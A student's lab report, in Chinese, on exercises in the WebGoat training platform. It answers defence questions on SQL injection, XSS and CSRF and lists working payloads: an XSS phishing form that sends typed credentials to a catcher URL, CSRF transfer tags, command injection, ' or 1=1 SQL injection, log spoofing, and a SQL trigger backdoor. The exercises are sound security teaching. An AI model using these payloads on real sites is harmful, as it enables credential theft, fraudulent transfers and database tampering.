1. 程式人生 > >20155216 Exp9 Web安全基礎實踐

20155216 Exp9 Web安全基礎實踐

輸入框 需要 換行符 employee message sql命令 SQ 深入 update

Exp9 Web安全基礎實踐

基礎問題回答

1、SQL註入攻擊原理,如何防禦?

1.對用戶的輸入進行校驗,可以通過正則表達式,雙"-"進行轉換等。
2.不要使用動態拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。
3.不要使用管理員權限的數據庫連接,為每個應用使用單獨的權限有限的數據庫連接。
4.不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
5.應用的異常信息應該給出盡可能少的提示。
6.采取輔助軟件或網站平臺來檢測sql註入。

2、XSS攻擊的原理,如何防禦?

在表單提交或者url參數傳遞前,對需要的參數進行過濾;
檢查用戶輸入的內容中是否有非法內容,如尖括號、引號等,嚴格控制輸出。

3、CSRF攻擊原理,如何防禦?

通過referer、token或者驗證碼來檢測用戶提交;
盡量不要在頁面的鏈接中暴露用戶隱私信息,對於用戶修改刪除等操作最好都使用post操作;
避免全站通用的cookie,嚴格設置cookie的域。

實踐內容

關於WebGoat

  • WebGoat是OWASP組織研制出的用於進行web漏洞實驗的應用平臺,用來說明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,目前提供的訓練課程有很多,包含了XSS、線程安全、SQL註入等,我們本次的實驗就是在WebGoat平臺上進行。

在終端中輸入 java -jar webgoat-container-7.0.1-war-exec.jar

開啟WebGoat。

技術分享圖片

顯示結果為WebGoat未安裝。

使用 sudo apt-get install default-jre 安裝默認的 jre

技術分享圖片

在使用命令 wget https://s3.amazonaws.com/webgoat-war/webgoat-container-7.0-SNAPSHOT-war-exec.jar 下載WebGoat:

技術分享圖片

使用命令 java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar 運行WebGoat:

結果webgoat中沒有任何功能。

發現原因是kali下沒有java環境,可參考java環境安裝安裝java環境:

技術分享圖片

java環境安裝完成。

再次運行 java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar 啟動WebGoat:

技術分享圖片

XSS攻擊

1、Phishing with XSS

跨站腳本攻擊最大的魅力是通過HTML註入劫持用戶的瀏覽器,任意構造用戶當前瀏覽的HTML內容,甚至可以模擬用戶當前的操作。這裏實驗的是一種獲取用戶名和密碼的攻擊。

在webgoat找到xss攻擊打開Phishing with XSS(第一個):

技術分享圖片

編寫一個包含用戶名、密碼的前端代碼:

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

將這段代碼輸入到輸入框中,點擊search出現如下登錄框:

技術分享圖片

在登錄框中輸入用戶名、密碼:

技術分享圖片

2、Stored XSS Attacks

我們的目標是要創建非法的消息內容,可以導致其他用戶訪問時載入非預期的頁面或內容,這個很容易啊,在上個實驗中我們也做過,直接在title裏隨便輸點啥,然後在message中輸入一串代碼,比如:

技術分享圖片

點擊提交後,在點擊Message List下的20155216:

技術分享圖片

3、Reflected XSS Attacks

反射型XSS,非持久化,需要欺騙用戶自己去點擊鏈接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),一般容易出現在搜索頁面。

在輸入框中輸入內容:

技術分享圖片

點擊Purchase:

技術分享圖片

CSRF攻擊

CSRF(Cross-site request forgery),中文名稱:跨站請求偽造,也被稱為:one click attack/session riding,縮寫為:CSRF/XSRF。

攻擊者盜用了你的身份,以你的名義發送惡意請求。CSRF能夠做的事情包括:以你名義發送郵件,發消息,盜取你的賬號,甚至於購買商品,虛擬貨幣轉賬......造成的問題包括:個人隱私泄露以及財產安全。

1、Cross Site Request Forgery(CSRF)

查看頁面右邊Parameters中的src和menu值。

技術分享圖片

message框中輸入代碼: <img src=‘attack?Screen=src值&menu=menu值&transferFunds=轉賬數額‘ width=‘1‘ height=‘1‘>

技術分享圖片

點擊下發的20155216:

技術分享圖片

顯示攻擊成功。

2、CSRF Prompt By-Pass

message框中輸入代碼:

<iframe src="attack?Screen=src值&menu=menu值&transferFunds=轉賬數額"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>

技術分享圖片

攻擊成功。

Injection Flaws

所謂SQL註入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意)的SQL命令註入到後臺數據庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。

1、Command Injection

這個題是要求能夠在目標主機上執行系統命令,我們可以通過火狐瀏覽器下的一個擴展Firebug(就是右上角的小蟲的標誌)對源代碼進行修改,若無Firebug,可在火狐瀏覽器添加工具中下載、安裝、添加。例如在BackDoors.help旁邊加上"& netstat -an & ipconfig":

技術分享圖片

選中修改後的值再點view,可以看到命令被執行,出現系統網絡連接情況:

技術分享圖片

2、Numeric SQL Injection

我們要通過註入SQL字符串的方式查看所有的天氣數據,我們上次實驗做過類似的,只要加上一個1=1這種永真式即可達到我們的目的,依舊利用firebug,在任意一個值比如101旁邊加上or 1=1:

技術分享圖片

選中Columbia,點Go,可以看到所有天氣數據:

技術分享圖片

3、Log Spoofing

我們輸入的用戶名會被追加到日誌文件中,所以我們可以使用障眼法來使用戶名為“admin”的用戶在日誌中顯示“成功登錄”,在User Name文本框中輸入 lx%0d%0aLogin Succeeded for username: admin ,其中%0d是回車,%0a是換行符:

技術分享圖片

攻擊成功。

4、 String SQL Injection

基於select語句構造SQL註入字符串,在文本框中輸入 ‘ or 1=1 --

技術分享圖片

5、Database Backdoors

先輸一個101,得到了該用戶的信息:

技術分享圖片

可以發現輸入的語句沒有驗證,很容易進行SQL註入,輸入註入語句: 101; update employee set salary=5216 ,成功把該用戶的工調整到了5216:

技術分享圖片

接下來使用語句 101;CREATE TRIGGER lxBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘ WHERE userid = NEW.userid 創建一個後門,把表中所有的郵箱和用戶ID都改寫:

技術分享圖片

顯示註入成功。

實驗總結與體會

本次實驗部分時間花在了對java環境的安裝以及對webgoat安裝上,可能是用的kali源有問題,每次環境調試都要花很多時間。
通過本次對webgoat各種攻擊的學習和練習,讓我掌握了很多種攻擊方式,以前只是學過相應的理論知識,而在本次實驗中得以親身實踐,還是非常有趣的。本次實驗主要的練習範圍是三大最常見的攻擊:XSS攻擊,CSRF攻擊和SQL註入攻擊。通過實踐對這三種攻擊有了更深的認識,並在以後會嘗試練習更多的攻擊種類和對感興趣的攻擊展開更加深入的研究。

20155216 Exp9 Web安全基礎實踐